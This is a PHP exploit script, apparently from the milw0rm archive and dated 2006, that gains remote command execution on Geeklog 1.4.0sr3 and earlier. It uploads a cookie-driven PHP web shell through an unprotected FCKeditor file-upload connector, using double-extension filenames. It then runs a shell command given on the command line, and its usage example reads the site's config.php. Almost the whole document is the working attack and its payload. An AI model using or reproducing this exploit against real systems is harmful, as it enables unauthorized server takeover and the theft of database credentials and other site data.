GeekLog 1.4.0sr3 - 'f(u)ckeditor' Remote Code Execution

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Geeklog <= 1.4.0sr3 'f(u)ckeditor' remote commands execution\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";

//works regardless of any php.ini settings,
//fckeditor (very old 'mcpuk' version...) is enabled by default,
//and connector.php not protected,
//you can upload multiple extensions files...

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to geeklog\n";
echo "cmd:       a shell command\n";
echo "Options:\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "Example:\n";
echo "php ".$argv[0]." localhost / cat ./../../../../config.php\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$shell="<?php echo chr(72).\"i Master!\";if(get_magic_quotes_gpc()){\$_COOKIE[\"cmd\"]=stripslashes(\$_COOKIE[\"cmd\"]);}";
$shell.="ini_set(\"max_execution_time\",0);error_reporting(0);";
$shell.="echo \"*delim*\";passthru(\$_COOKIE[\"cmd\"]);?>";
$allowed_extensions = array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla");
for ($i=0; $i<=count($allowed_extensions)-1; $i++){
$filename="suntzu.php.".$allowed_extensions[$i];
$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
$data.="Content-Type:\r\n\r\n";
$data.="$shell\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet="POST ".$p."fckeditor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?Command=FileUpload&Type=File HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
$packet="GET ".$p."images/library/File/".$filename." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("Hi Master!",$html)){
echo"Exploit succeeded...!\n";
$temp=explode("*delim*",$html);
die($temp[1]);}
}
//if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-06-29]